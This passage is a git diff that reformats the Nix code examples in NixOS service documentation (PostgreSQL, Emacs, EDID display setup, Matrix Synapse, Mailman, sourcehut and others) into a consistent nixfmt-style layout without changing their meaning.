@@ -270,9 +268,7 @@ For example, to create backups in {command}`/opt/fdb-backups`, first
 set up the paths in the module options:
 
 ```nix
-{
-  services.foundationdb.extraReadWritePaths = [ "/opt/fdb-backups" ];
-}
+{ services.foundationdb.extraReadWritePaths = [ "/opt/fdb-backups" ]; }
 ```
 
 Restart the FoundationDB service, and it will now be able to write to this
diff --git a/nixos/modules/services/databases/postgresql.md b/nixos/modules/services/databases/postgresql.md
index d7449fc35045..779310d34b3b 100644
--- a/nixos/modules/services/databases/postgresql.md
+++ b/nixos/modules/services/databases/postgresql.md
@@ -41,9 +41,7 @@ alice=>
 
 By default, PostgreSQL stores its databases in {file}`/var/lib/postgresql/$psqlSchema`. You can override this using [](#opt-services.postgresql.dataDir), e.g.
 ```nix
-{
-  services.postgresql.dataDir = "/data/postgresql";
-}
+{ services.postgresql.dataDir = "/data/postgresql"; }
 ```
 
 ## Initializing {#module-services-postgres-initializing}
@@ -224,36 +222,44 @@ $ nix-instantiate --eval -A postgresql_13.psqlSchema
 ```
 For an upgrade, a script like this can be used to simplify the process:
 ```nix
-{ config, lib, pkgs, ... }:
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
 {
   environment.systemPackages = [
-    (let
-      # XXX specify the postgresql package you'd like to upgrade to.
-      # Do not forget to list the extensions you need.
-      newPostgres = pkgs.postgresql_13.withPackages (pp: [
-        # pp.plv8
-      ]);
-      cfg = config.services.postgresql;
-    in pkgs.writeScriptBin "upgrade-pg-cluster" ''
-      set -eux
-      # XXX it's perhaps advisable to stop all services that depend on postgresql
-      systemctl stop postgresql
+    (
+      let
+        # XXX specify the postgresql package you'd like to upgrade to.
+        # Do not forget to list the extensions you need.
+        newPostgres = pkgs.postgresql_13.withPackages (pp: [
+          # pp.plv8
+        ]);
+        cfg = config.services.postgresql;
+      in
+      pkgs.writeScriptBin "upgrade-pg-cluster" ''
+        set -eux
+        # XXX it's perhaps advisable to stop all services that depend on postgresql
+        systemctl stop postgresql
 
-      export NEWDATA="/var/lib/postgresql/${newPostgres.psqlSchema}"
-      export NEWBIN="${newPostgres}/bin"
+        export NEWDATA="/var/lib/postgresql/${newPostgres.psqlSchema}"
+        export NEWBIN="${newPostgres}/bin"
 
-      export OLDDATA="${cfg.dataDir}"
-      export OLDBIN="${cfg.finalPackage}/bin"
+        export OLDDATA="${cfg.dataDir}"
+        export OLDBIN="${cfg.finalPackage}/bin"
 
-      install -d -m 0700 -o postgres -g postgres "$NEWDATA"
-      cd "$NEWDATA"
-      sudo -u postgres "$NEWBIN/initdb" -D "$NEWDATA" ${lib.escapeShellArgs cfg.initdbArgs}
+        install -d -m 0700 -o postgres -g postgres "$NEWDATA"
+        cd "$NEWDATA"
+        sudo -u postgres "$NEWBIN/initdb" -D "$NEWDATA" ${lib.escapeShellArgs cfg.initdbArgs}
 
-      sudo -u postgres "$NEWBIN/pg_upgrade" \
-        --old-datadir "$OLDDATA" --new-datadir "$NEWDATA" \
-        --old-bindir "$OLDBIN" --new-bindir "$NEWBIN" \
-        "$@"
-    '')
+        sudo -u postgres "$NEWBIN/pg_upgrade" \
+          --old-datadir "$OLDDATA" --new-datadir "$NEWDATA" \
+          --old-bindir "$OLDBIN" --new-bindir "$NEWBIN" \
+          "$@"
+      ''
+    )
   ];
 }
 ```
@@ -352,10 +358,11 @@ To add plugins via NixOS configuration, set `services.postgresql.extensions`:
 ```nix
 {
   services.postgresql.package = pkgs.postgresql_17;
-  services.postgresql.extensions = ps: with ps; [
-    pg_repack
-    postgis
-  ];
+  services.postgresql.extensions =
+    ps: with ps; [
+      pg_repack
+      postgis
+    ];
 }
 ```
 
@@ -372,7 +379,7 @@ self: super: {
 Here's a recipe on how to override a particular plugin through an overlay:
 ```nix
 self: super: {
-  postgresql_15 = super.postgresql_15// {
+  postgresql_15 = super.postgresql_15 // {
     pkgs = super.postgresql_15.pkgs // {
       pg_repack = super.postgresql_15.pkgs.pg_repack.overrideAttrs (_: {
         name = "pg_repack-v20181024";
@@ -392,11 +399,12 @@ PostgreSQL ships the additional procedural languages PL/Perl, PL/Python and PL/T
 They are packaged as plugins and can be made available in the same way as external extensions:
 ```nix
 {
-  services.postgresql.extensions = ps: with ps; [
-    plperl
-    plpython3
-    pltcl
-  ];
+  services.postgresql.extensions =
+    ps: with ps; [
+      plperl
+      plpython3
+      pltcl
+    ];
 }
 ```
 
@@ -405,9 +413,8 @@ Each procedural language plugin provides a `.withPackages` helper to make langua
 For example, to make `python3Packages.base58` available:
 ```nix
 {
-  services.postgresql.extensions = pgps: with pgps; [
-    (plpython3.withPackages (pyps: with pyps; [ base58 ]))
-  ];
+  services.postgresql.extensions =
+    pgps: with pgps; [ (plpython3.withPackages (pyps: with pyps; [ base58 ])) ];
 }
 ```
 
@@ -424,9 +431,7 @@ is disabled by default because of the ~600MiB closure-size increase from the LLV
 can be optionally enabled in PostgreSQL with the following config option:
 
 ```nix
-{
-  services.postgresql.enableJIT = true;
-}
+{ services.postgresql.enableJIT = true; }
 ```
 
 This makes sure that the [`jit`](https://www.postgresql.org/docs/current/runtime-config-query.html#GUC-JIT)-setting
@@ -445,7 +450,9 @@ overlay) since all modifications are propagated to `withJIT`. I.e.
 with import <nixpkgs> {
   overlays = [
     (self: super: {
-      postgresql = super.postgresql.overrideAttrs (_: { pname = "foobar"; });
+      postgresql = super.postgresql.overrideAttrs (_: {
+        pname = "foobar";
+      });
     })
   ];
 };
@@ -467,9 +474,7 @@ several common hardening options from `systemd`, most notably:
   * When using [`TABLESPACE`](https://www.postgresql.org/docs/current/manage-ag-tablespaces.html)s, make sure to add the filesystem paths to `ReadWritePaths` like this:
     ```nix
     {
-      systemd.services.postgresql.serviceConfig.ReadWritePaths = [
-        "/path/to/tablespace/location"
-      ];
+      systemd.services.postgresql.serviceConfig.ReadWritePaths = [ "/path/to/tablespace/location" ];
     }
     ```
 
diff --git a/nixos/modules/services/databases/tigerbeetle.md b/nixos/modules/services/databases/tigerbeetle.md
index 7cf3bedda5e0..2acbc96c5e66 100644
--- a/nixos/modules/services/databases/tigerbeetle.md
+++ b/nixos/modules/services/databases/tigerbeetle.md
@@ -8,9 +8,7 @@ TigerBeetle is a distributed financial accounting database designed for mission
 
 To enable TigerBeetle, add the following to your {file}`configuration.nix`:
 ```nix
-{
-  services.tigerbeetle.enable = true;
-}
+{ services.tigerbeetle.enable = true; }
 ```
 
 When first started, the TigerBeetle service will create its data file at {file}`/var/lib/tigerbeetle` unless the file already exists, in which case it will just use the existing file.
diff --git a/nixos/modules/services/desktops/flatpak.md b/nixos/modules/services/desktops/flatpak.md
index 5299b32a03c7..eae51138e811 100644
--- a/nixos/modules/services/desktops/flatpak.md
+++ b/nixos/modules/services/desktops/flatpak.md
@@ -9,9 +9,7 @@ applications on Linux.
 
 To enable Flatpak, add the following to your {file}`configuration.nix`:
 ```nix
-{
-  services.flatpak.enable = true;
-}
+{ services.flatpak.enable = true; }
 ```
 
 For the sandboxed apps to work correctly, desktop integration portals need to
diff --git a/nixos/modules/services/development/athens.md b/nixos/modules/services/development/athens.md
index 6f8181561913..cc339c2f43f3 100644
--- a/nixos/modules/services/development/athens.md
+++ b/nixos/modules/services/development/athens.md
@@ -20,9 +20,9 @@ A complete list of options for the Athens module may be found
 A very basic configuration for Athens that acts as a caching and forwarding HTTP proxy is:
 ```nix
 {
-    services.athens = {
-      enable = true;
-    };
+  services.athens = {
+    enable = true;
+  };
 }
 ```
 
@@ -30,10 +30,10 @@ If you want to prevent Athens from writing to disk, you can instead configure it
 
 ```nix
 {
-    services.athens = {
-      enable = true;
-      storageType = "memory";
-    };
+  services.athens = {
+    enable = true;
+    storageType = "memory";
+  };
 }
 ```
 
@@ -52,9 +52,7 @@ To also use the local proxy for Go builds happening in `nix` (with `buildGoModul
 This can either be done via the nix-daemon systemd unit:
 
 ```nix
-{
-  systemd.services.nix-daemon.environment.GOPROXY = "http://localhost:3000";
-}
+{ systemd.services.nix-daemon.environment.GOPROXY = "http://localhost:3000"; }
 ```
 
 or via the [impure-env experimental feature](https://nix.dev/manual/nix/2.24/command-ref/conf-file#conf-impure-env):
diff --git a/nixos/modules/services/development/blackfire.md b/nixos/modules/services/development/blackfire.md
index 5a7fbe68f7d2..ad58e7ba04dd 100644
--- a/nixos/modules/services/development/blackfire.md
+++ b/nixos/modules/services/development/blackfire.md
@@ -9,10 +9,9 @@
 To use it, you will need to enable the agent and the probe on your server. The exact method will depend on the way you use PHP but here is an example of NixOS configuration for PHP-FPM:
 ```nix
 let
-  php = pkgs.php.withExtensions ({ enabled, all }: enabled ++ (with all; [
-    blackfire
-  ]));
-in {
+  php = pkgs.php.withExtensions ({ enabled, all }: enabled ++ (with all; [ blackfire ]));
+in
+{
   # Enable the probe extension for PHP-FPM.
   services.phpfpm = {
     phpPackage = php;
diff --git a/nixos/modules/services/development/livebook.md b/nixos/modules/services/development/livebook.md
index aac9c58d081c..65eb5d55fd86 100644
--- a/nixos/modules/services/development/livebook.md
+++ b/nixos/modules/services/development/livebook.md
@@ -53,6 +53,9 @@ learning Kinos require `gcc` and `gnumake`.  To add these, use
 
 ```nix
 {
-  services.livebook.extraPackages = with pkgs; [ gcc gnumake ];
+  services.livebook.extraPackages = with pkgs; [
+    gcc
+    gnumake
+  ];
 }
 ```
diff --git a/nixos/modules/services/editors/emacs.md b/nixos/modules/services/editors/emacs.md
index da1028675155..a3c9ae5907b0 100644
--- a/nixos/modules/services/editors/emacs.md
+++ b/nixos/modules/services/editors/emacs.md
@@ -85,23 +85,25 @@ dedicated {file}`emacs.nix` file such as:
 
 ```nix
 /*
-This is a nix expression to build Emacs and some Emacs packages I like
-from source on any distribution where Nix is installed. This will install
-all the dependencies from the nixpkgs repository and build the binary files
-without interfering with the host distribution.
+  This is a nix expression to build Emacs and some Emacs packages I like
+  from source on any distribution where Nix is installed. This will install
+  all the dependencies from the nixpkgs repository and build the binary files
+  without interfering with the host distribution.
 
-To build the project, type the following from the current directory:
+  To build the project, type the following from the current directory:
 
-$ nix-build emacs.nix
+  $ nix-build emacs.nix
 
-To run the newly compiled executable:
+  To run the newly compiled executable:
 
-$ ./result/bin/emacs
+  $ ./result/bin/emacs
 */
 
 # The first non-comment line in this file indicates that
 # the whole file represents a function.
-{ pkgs ? import <nixpkgs> {} }:
+{
+  pkgs ? import <nixpkgs> { },
+}:
 
 let
   # The let expression below defines a myEmacs binding pointing to the
@@ -113,29 +115,32 @@ let
   # argument: a function from a package set to a list of packages
   # (the packages that will be available in Emacs).
   emacsWithPackages = (pkgs.emacsPackagesFor myEmacs).emacsWithPackages;
-in
   # The rest of the file specifies the list of packages to install. In the
   # example, two packages (magit and zerodark-theme) are taken from
   # MELPA stable.
-  emacsWithPackages (epkgs: (with epkgs.melpaStablePackages; [
-    magit          # ; Integrate git <C-x g>
+in
+emacsWithPackages (
+  epkgs:
+  (with epkgs.melpaStablePackages; [
+    magit # ; Integrate git <C-x g>
     zerodark-theme # ; Nicolas' theme
   ])
   # Two packages (undo-tree and zoom-frm) are taken from MELPA.
   ++ (with epkgs.melpaPackages; [
-    undo-tree      # ; <C-x u> to show the undo tree
-    zoom-frm       # ; increase/decrease font size for all buffers %lt;C-x C-+>
+    undo-tree # ; <C-x u> to show the undo tree
+    zoom-frm # ; increase/decrease font size for all buffers %lt;C-x C-+>
   ])
   # Three packages are taken from GNU ELPA.
   ++ (with epkgs.elpaPackages; [
-    auctex         # ; LaTeX mode
-    beacon         # ; highlight my cursor when scrolling
-    nameless       # ; hide current package name everywhere in elisp code
+    auctex # ; LaTeX mode
+    beacon # ; highlight my cursor when scrolling
+    nameless # ; hide current package name everywhere in elisp code
   ])
   # notmuch is taken from a nixpkgs derivation which contains an Emacs mode.
   ++ [
-    pkgs.notmuch   # From main packages set
-  ])
+    pkgs.notmuch # From main packages set
+  ]
+)
 ```
 :::
 
@@ -180,9 +185,9 @@ file {file}`configuration.nix` to make it contain:
 
 ```nix
 {
- environment.systemPackages = [
-   # [...]
-   (import ./emacs.nix { inherit pkgs; })
+  environment.systemPackages = [
+    # [...]
+    (import ./emacs.nix { inherit pkgs; })
   ];
 }
 ```
@@ -205,9 +210,14 @@ adding it to your {file}`~/.config/nixpkgs/config.nix` (see
 
 ```nix
 {
-  packageOverrides = super: let self = super.pkgs; in {
-    myemacs = import ./emacs.nix { pkgs = self; };
-  };
+  packageOverrides =
+    super:
+    let
+      self = super.pkgs;
+    in
+    {
+      myemacs = import ./emacs.nix { pkgs = self; };
+    };
 }
 ```
 :::
@@ -229,20 +239,29 @@ only use {command}`emacsclient`), you can change your file
 ### Custom Emacs build
 
 ```nix
-{ pkgs ? import <nixpkgs> {} }:
+{
+  pkgs ? import <nixpkgs> { },
+}:
 let
-  myEmacs = (pkgs.emacs.override {
-    # Use gtk3 instead of the default gtk2
-    withGTK3 = true;
-    withGTK2 = false;
-  }).overrideAttrs (attrs: {
-    # I don't want emacs.desktop file because I only use
-    # emacsclient.
-    postInstall = (attrs.postInstall or "") + ''
-      rm $out/share/applications/emacs.desktop
-    '';
-  });
-in [ /* ... */ ]
+  myEmacs =
+    (pkgs.emacs.override {
+      # Use gtk3 instead of the default gtk2
+      withGTK3 = true;
+      withGTK2 = false;
+    }).overrideAttrs
+      (attrs: {
+        # I don't want emacs.desktop file because I only use
+        # emacsclient.
+        postInstall =
+          (attrs.postInstall or "")
+          + ''
+            rm $out/share/applications/emacs.desktop
+          '';
+      });
+in
+[
+  # ...
+]
 ```
 :::
 
@@ -263,9 +282,7 @@ with the user's login session.
 To install and enable the {command}`systemd` user service for Emacs
 daemon, add the following to your {file}`configuration.nix`:
 ```nix
-{
-  services.emacs.enable = true;
-}
+{ services.emacs.enable = true; }
 ```
 
 The {var}`services.emacs.package` option allows a custom
diff --git a/nixos/modules/services/hardware/display.md b/nixos/modules/services/hardware/display.md
index 019c4cf146eb..5b3b96d571ac 100644
--- a/nixos/modules/services/hardware/display.md
+++ b/nixos/modules/services/hardware/display.md
@@ -23,8 +23,9 @@ This is exactly the case with [`amdgpu` drivers](https://gitlab.freedesktop.org/
   # completely disable output no matter what is connected to it
   hardware.display.outputs."VGA-2".mode = "d";
 
-  /* equals
-  boot.kernelParams = [ "video=DP-1:e" "video=VGA-2:d" ];
+  /*
+    equals
+    boot.kernelParams = [ "video=DP-1:e" "video=VGA-2:d" ];
   */
 }
 ```
@@ -37,14 +38,14 @@ To make custom EDID binaries discoverable you should first create a derivation s
 ```nix
 {
   hardware.display.edid.packages = [
-    (pkgs.runCommand "edid-custom" {} ''
-       mkdir -p $out/lib/firmware/edid
-       base64 -d > "$out/lib/firmware/edid/custom1.bin" <<'EOF'
-       <insert your base64 encoded EDID file here `base64 < /sys/class/drm/card0-.../edid`>
-       EOF
-       base64 -d > "$out/lib/firmware/edid/custom2.bin" <<'EOF'
-       <insert your base64 encoded EDID file here `base64 < /sys/class/drm/card1-.../edid`>
-       EOF
+    (pkgs.runCommand "edid-custom" { } ''
+      mkdir -p $out/lib/firmware/edid
+      base64 -d > "$out/lib/firmware/edid/custom1.bin" <<'EOF'
+      <insert your base64 encoded EDID file here `base64 < /sys/class/drm/card0-.../edid`>
+      EOF
+      base64 -d > "$out/lib/firmware/edid/custom2.bin" <<'EOF'
+      <insert your base64 encoded EDID file here `base64 < /sys/class/drm/card1-.../edid`>
+      EOF
     '')
   ];
 }
@@ -63,8 +64,9 @@ Under the hood it adds `drm.edid_firmware` entry to `boot.kernelParams` NixOS op
 {
   hardware.display.outputs."VGA-1".edid = "custom1.bin";
   hardware.display.outputs."VGA-2".edid = "custom2.bin";
-  /* equals:
-  boot.kernelParams = [ "drm.edid_firmware=VGA-1:edid/custom1.bin,VGA-2:edid/custom2.bin" ];
+  /*
+    equals:
+    boot.kernelParams = [ "drm.edid_firmware=VGA-1:edid/custom1.bin,VGA-2:edid/custom2.bin" ];
   */
 }
 ```
@@ -76,16 +78,20 @@ from https://github.com/linuxhw/EDID based on simple string/regexp search identi
 
 ```nix
 {
-  hardware.display.edid.linuxhw."PG278Q_2014" = [ "PG278Q" "2014" ];
-
-  /* equals:
-  hardware.display.edid.packages = [
-    (pkgs.linuxhw-edid-fetcher.override {
-      displays = {
-        "PG278Q_2014" = [ "PG278Q" "2014" ];
-      };
-    })
+  hardware.display.edid.linuxhw."PG278Q_2014" = [
+    "PG278Q"
+    "2014"
   ];
+
+  /*
+    equals:
+    hardware.display.edid.packages = [
+      (pkgs.linuxhw-edid-fetcher.override {
+        displays = {
+          "PG278Q_2014" = [ "PG278Q" "2014" ];
+        };
+      })
+    ];
   */
 }
 ```
@@ -98,19 +104,22 @@ conveniently use [`XFree86 Modeline`](https://en.wikipedia.org/wiki/XFree86_Mode
 
 ```nix
 {
-  hardware.display.edid.modelines."PG278Q_60" = "    241.50   2560 2608 2640 2720   1440 1443 1448 1481   -hsync +vsync";
-  hardware.display.edid.modelines."PG278Q_120" = "   497.75   2560 2608 2640 2720   1440 1443 1448 1525   +hsync -vsync";
+  hardware.display.edid.modelines."PG278Q_60" =
+    "    241.50   2560 2608 2640 2720   1440 1443 1448 1481   -hsync +vsync";
+  hardware.display.edid.modelines."PG278Q_120" =
+    "   497.75   2560 2608 2640 2720   1440 1443 1448 1525   +hsync -vsync";
 
-  /* equals:
-  hardware.display.edid.packages = [
-    (pkgs.edid-generator.overrideAttrs {
-      clean = true;
-      modelines = ''
-        Modeline "PG278Q_60"      241.50   2560 2608 2640 2720   1440 1443 1448 1481   -hsync +vsync
-        Modeline "PG278Q_120"     497.75   2560 2608 2640 2720   1440 1443 1448 1525   +hsync -vsync
-      '';
-    })
-  ];
+  /*
+    equals:
+    hardware.display.edid.packages = [
+      (pkgs.edid-generator.overrideAttrs {
+        clean = true;
+        modelines = ''
+          Modeline "PG278Q_60"      241.50   2560 2608 2640 2720   1440 1443 1448 1481   -hsync +vsync
+          Modeline "PG278Q_120"     497.75   2560 2608 2640 2720   1440 1443 1448 1525   +hsync -vsync
+        '';
+      })
+    ];
   */
 }
 ```
@@ -121,8 +130,10 @@ And finally this is a complete working example for a 2014 (first) batch of [Asus
 
 ```nix
 {
-  hardware.display.edid.modelines."PG278Q_60" = "   241.50   2560 2608 2640 2720   1440 1443 1448 1481   -hsync +vsync";
-  hardware.display.edid.modelines."PG278Q_120" = "  497.75   2560 2608 2640 2720   1440 1443 1448 1525   +hsync -vsync";
+  hardware.display.edid.modelines."PG278Q_60" =
+    "   241.50   2560 2608 2640 2720   1440 1443 1448 1481   -hsync +vsync";
+  hardware.display.edid.modelines."PG278Q_120" =
+    "  497.75   2560 2608 2640 2720   1440 1443 1448 1525   +hsync -vsync";
 
   hardware.display.outputs."DP-1".edid = "PG278Q_60.bin";
   hardware.display.outputs."DP-1".mode = "e";
diff --git a/nixos/modules/services/mail/mailman.md b/nixos/modules/services/mail/mailman.md
index 446aa1f921b6..b36ce69392c5 100644
--- a/nixos/modules/services/mail/mailman.md
+++ b/nixos/modules/services/mail/mailman.md
@@ -10,26 +10,31 @@ an existing, securely configured Postfix setup, as it does not automatically con
 
 For a basic configuration with Postfix as the MTA, the following settings are suggested:
 ```nix
-{ config, ... }: {
+{ config, ... }:
+{
   services.postfix = {
     enable = true;
-    relayDomains = ["hash:/var/lib/mailman/data/postfix_domains"];
+    relayDomains = [ "hash:/var/lib/mailman/data/postfix_domains" ];
     sslCert = config.security.acme.certs."lists.example.org".directory + "/full.pem";
     sslKey = config.security.acme.certs."lists.example.org".directory + "/key.pem";
     config = {
-      transport_maps = ["hash:/var/lib/mailman/data/postfix_lmtp"];
-      local_recipient_maps = ["hash:/var/lib/mailman/data/postfix_lmtp"];
+      transport_maps = [ "hash:/var/lib/mailman/data/postfix_lmtp" ];
+      local_recipient_maps = [ "hash:/var/lib/mailman/data/postfix_lmtp" ];
     };
   };
   services.mailman = {
     enable = true;
     serve.enable = true;
     hyperkitty.enable = true;
-    webHosts = ["lists.example.org"];
+    webHosts = [ "lists.example.org" ];
     siteOwner = "mailman@example.org";
   };
   services.nginx.virtualHosts."lists.example.org".enableACME = true;
-  networking.firewall.allowedTCPPorts = [ 25 80 443 ];
+  networking.firewall.allowedTCPPorts = [
+    25
+    80
+    443
+  ];
 }
 ```
 
@@ -51,7 +56,8 @@ necessary, but outside the scope of the Mailman module.
 
 Mailman also supports other MTA, though with a little bit more configuration. For example, to use Mailman with Exim, you can use the following settings:
 ```nix
-{ config, ... }: {
+{ config, ... }:
+{
   services = {
     mailman = {
       enable = true;
diff --git a/nixos/modules/services/matrix/maubot.md b/nixos/modules/services/matrix/maubot.md
index d49066057a23..46a0caaedefc 100644
--- a/nixos/modules/services/matrix/maubot.md
+++ b/nixos/modules/services/matrix/maubot.md
@@ -10,9 +10,7 @@ framework for Matrix.
 2. If you want to use PostgreSQL instead of SQLite, do this:
 
    ```nix
-   {
-     services.maubot.settings.database = "postgresql://maubot@localhost/maubot";
-   }
+   { services.maubot.settings.database = "postgresql://maubot@localhost/maubot"; }
    ```
 
    If the PostgreSQL connection requires a password, you will have to
diff --git a/nixos/modules/services/matrix/mjolnir.md b/nixos/modules/services/matrix/mjolnir.md
index 2594f05ce27b..e2a7e3806cb7 100644
--- a/nixos/modules/services/matrix/mjolnir.md
+++ b/nixos/modules/services/matrix/mjolnir.md
@@ -52,13 +52,11 @@ will be configured to connect to the new Pantalaimon instance.
     enable = true;
     homeserverUrl = "https://matrix.domain.tld";
     pantalaimon = {
-       enable = true;
-       username = "mjolnir";
-       passwordFile = "/run/secrets/mjolnir-password";
+      enable = true;
+      username = "mjolnir";
+      passwordFile = "/run/secrets/mjolnir-password";
     };
-    protectedRooms = [
-      "https://matrix.to/#/!xxx:domain.tld"
-    ];
+    protectedRooms = [ "https://matrix.to/#/!xxx:domain.tld" ];
     managementRoom = "!yyy:domain.tld";
   };
 }
@@ -81,9 +79,7 @@ to the Synapse plugin list and enable the `mjolnir.Module` module.
 ```nix
 {
   services.matrix-synapse = {
-    plugins = with pkgs; [
-      matrix-synapse-plugins.matrix-synapse-mjolnir-antispam
-    ];
+    plugins = with pkgs; [ matrix-synapse-plugins.matrix-synapse-mjolnir-antispam ];
     extraConfig = ''
       modules:
         - module: mjolnir.Module
diff --git a/nixos/modules/services/matrix/synapse.md b/nixos/modules/services/matrix/synapse.md
index 62967adddb4b..7ca8e1c354ff 100644
--- a/nixos/modules/services/matrix/synapse.md
+++ b/nixos/modules/services/matrix/synapse.md
@@ -44,7 +44,12 @@ the host `myhostname.example.org`. For more information,
 please refer to the
 [installation instructions of Synapse](https://element-hq.github.io/synapse/latest/setup/installation.html) .
 ```nix
-{ pkgs, lib, config, ... }:
+{
+  pkgs,
+  lib,
+  config,
+  ...
+}:
 let
   fqdn = "${config.networking.hostName}.${config.networking.domain}";
   baseUrl = "https://${fqdn}";
@@ -55,10 +60,14 @@ let
     add_header Access-Control-Allow-Origin *;
     return 200 '${builtins.toJSON data}';
   '';
-in {
+in
+{
   networking.hostName = "myhostname";
   networking.domain = "example.org";
-  networking.firewall.allowedTCPPorts = [ 80 443 ];
+  networking.firewall.allowedTCPPorts = [
+    80
+    443
+  ];
 
   services.postgresql.enable = true;
 
@@ -117,15 +126,21 @@ in {
     # in client applications.
     settings.public_baseurl = baseUrl;
     settings.listeners = [
-      { port = 8008;
+      {
+        port = 8008;
         bind_addresses = [ "::1" ];
         type = "http";
         tls = false;
         x_forwarded = true;
-        resources = [ {
-          names = [ "client" "federation" ];
-          compress = true;
-        } ];
+        resources = [
+          {
+            names = [
+              "client"
+              "federation"
+            ];
+            compress = true;
+          }
+        ];
       }
     ];
   };
@@ -173,9 +188,7 @@ in an additional file like this:
 
     ```nix
     {
-      services.matrix-synapse.extraConfigFiles = [
-        "/run/secrets/matrix-shared-secret"
-      ];
+      services.matrix-synapse.extraConfigFiles = [ "/run/secrets/matrix-shared-secret" ];
     }
     ```
 :::
@@ -208,9 +221,7 @@ for a list of existing clients and their supported featureset.
   services.nginx.virtualHosts."element.${fqdn}" = {
     enableACME = true;
     forceSSL = true;
-    serverAliases = [
-      "element.${config.networking.domain}"
-    ];
+    serverAliases = [ "element.${config.networking.domain}" ];
 
     root = pkgs.element-web.override {
       conf = {
diff --git a/nixos/modules/services/misc/anki-sync-server.md b/nixos/modules/services/misc/anki-sync-server.md
index 1210cad6d0af..8040f2da1b72 100644
--- a/nixos/modules/services/misc/anki-sync-server.md
+++ b/nixos/modules/services/misc/anki-sync-server.md
@@ -46,9 +46,7 @@ By default, synced data are stored in */var/lib/anki-sync-server/*ankiuser**.
 You can change the directory by using `services.anki-sync-server.baseDirectory`
 
 ```nix
-{
-  services.anki-sync-server.baseDirectory = "/home/anki/data";
-}
+{ services.anki-sync-server.baseDirectory = "/home/anki/data"; }
 ```
 
 By default, the server listen address {option}`services.anki-sync-server.host`
diff --git a/nixos/modules/services/misc/dump1090-fa.md b/nixos/modules/services/misc/dump1090-fa.md
index 835d91e61828..41b9bd02d2c0 100644
--- a/nixos/modules/services/misc/dump1090-fa.md
+++ b/nixos/modules/services/misc/dump1090-fa.md
@@ -9,7 +9,8 @@ When enabled, this module automatically creates a systemd service to start the `
 Exposing the integrated web interface is left to the user's configuration. Below is a minimal example demonstrating how to serve it using Nginx:
 
 ```nix
-{ pkgs, ... }: {
+{ pkgs, ... }:
+{
   services.dump1090-fa.enable = true;
 
   services.nginx = {
@@ -22,5 +23,4 @@ Exposing the integrated web interface is left to the user's configuration. Below
     };
   };
 }
-
 ```
diff --git a/nixos/modules/services/misc/forgejo.md b/nixos/modules/services/misc/forgejo.md
index f234ebf44aef..8e9822f1b0f2 100644
--- a/nixos/modules/services/misc/forgejo.md
+++ b/nixos/modules/services/misc/forgejo.md
@@ -76,6 +76,6 @@ Make sure to disable `services.gitea`, when doing this.
     isSystemUser = true;
   };
 
-  users.groups.gitea = {};
+  users.groups.gitea = { };
 }
 ```
diff --git a/nixos/modules/services/misc/gitlab.md b/nixos/modules/services/misc/gitlab.md
index f7a5a8027489..de1e256bfef3 100644
--- a/nixos/modules/services/misc/gitlab.md
+++ b/nixos/modules/services/misc/gitlab.md
@@ -64,7 +64,9 @@ A basic configuration with some custom settings could look like this:
         email_from = "gitlab-no-reply@example.com";
         email_display_name = "Example GitLab";
         email_reply_to = "gitlab-no-reply@example.com";
-        default_projects_features = { builds = false; };
+        default_projects_features = {
+          builds = false;
+        };
       };
     };
   };
diff --git a/nixos/modules/services/misc/sourcehut/default.md b/nixos/modules/services/misc/sourcehut/default.md
index f965c395038a..afc191f11b6d 100644
--- a/nixos/modules/services/misc/sourcehut/default.md
+++ b/nixos/modules/services/misc/sourcehut/default.md
@@ -18,13 +18,19 @@ let
   fqdn =
     let
       join = hostName: domain: hostName + optionalString (domain != null) ".${domain}";
-    in join config.networking.hostName config.networking.domain;
-in {
+    in
+    join config.networking.hostName config.networking.domain;
+in
+{
 
   networking = {
     hostName = "srht";
     domain = "tld";
-    firewall.allowedTCPPorts = [ 22 80 443 ];
+    firewall.allowedTCPPorts = [
+      22
+      80
+      443
+    ];
   };
 
   services.sourcehut = {
@@ -37,15 +43,15 @@ in {
     postgresql.enable = true;
     redis.enable = true;
     settings = {
-        "sr.ht" = {
-          environment = "production";
-          global-domain = fqdn;
-          origin = "https://${fqdn}";
-          # Produce keys with srht-keygen from sourcehut.coresrht.
-          network-key = "/run/keys/path/to/network-key";
-          service-key = "/run/keys/path/to/service-key";
-        };
-        webhooks.private-key= "/run/keys/path/to/webhook-key";
+      "sr.ht" = {
+        environment = "production";
+        global-domain = fqdn;
+        origin = "https://${fqdn}";
+        # Produce keys with srht-keygen from sourcehut.coresrht.
+        network-key = "/run/keys/path/to/network-key";
+        service-key = "/run/keys/path/to/service-key";
+      };
+      webhooks.private-key = "/run/keys/path/to/webhook-key";
     };
   };
 
diff --git a/nixos/modules/services/monitoring/parsedmarc.md b/nixos/modules/services/monitoring/parsedmarc.md
index 765846bbbaf3..077988ff6278 100644
--- a/nixos/modules/services/monitoring/parsedmarc.md
+++ b/nixos/modules/services/monitoring/parsedmarc.md
@@ -80,7 +80,7 @@ added to Grafana as well.
   # Not required, but recommended for full functionality
   services.geoipupdate = {
     settings = {
-      AccountID = 000000;
+      AccountID = 0;
       LicenseKey = "/path/to/license_key_file";
     };
   };
@@ -104,7 +104,7 @@ added to Grafana as well.
     recommendedOptimisation = true;
     recommendedGzipSettings = true;
     recommendedProxySettings = true;
-    upstreams.grafana.servers."unix:/${config.services.grafana.socket}" = {};
+    upstreams.grafana.servers."unix:/${config.services.grafana.socket}" = { };
     virtualHosts.${url} = {
       root = config.services.grafana.staticRootPath;
       enableACME = true;
diff --git a/nixos/modules/services/monitoring/prometheus/exporters.md b/nixos/modules/services/monitoring/prometheus/exporters.md
index 23464b9d315e..f0bff8154291 100644
--- a/nixos/modules/services/monitoring/prometheus/exporters.md
+++ b/nixos/modules/services/monitoring/prometheus/exporters.md
@@ -18,9 +18,7 @@ running on. The exporter could be configured as follows:
       "logind"
       "systemd"
     ];
-    disabledCollectors = [
-      "textfile"
-    ];
+    disabledCollectors = [ "textfile" ];
     openFirewall = true;
     firewallFilter = "-i br0 -p tcp -m tcp --dport 9100";
   };
@@ -39,20 +37,24 @@ the [available options](https://nixos.org/nixos/options.html#prometheus.exporter
 Prometheus can now be configured to consume the metrics produced by the exporter:
 ```nix
 {
-    services.prometheus = {
-      # ...
+  services.prometheus = {
+    # ...
 
-      scrapeConfigs = [
-        {
-          job_name = "node";
-          static_configs = [{
-            targets = [ "localhost:${toString config.services.prometheus.exporters.node.port}" ];
-          }];
-        }
-      ];
+    scrapeConfigs = [
+      {
+        job_name = "node";
+        static_configs = [
+          {
+            targets = [
+              "localhost:${toString config.services.prometheus.exporters.node.port}"
+            ];
+          }
+        ];
+      }
+    ];
 
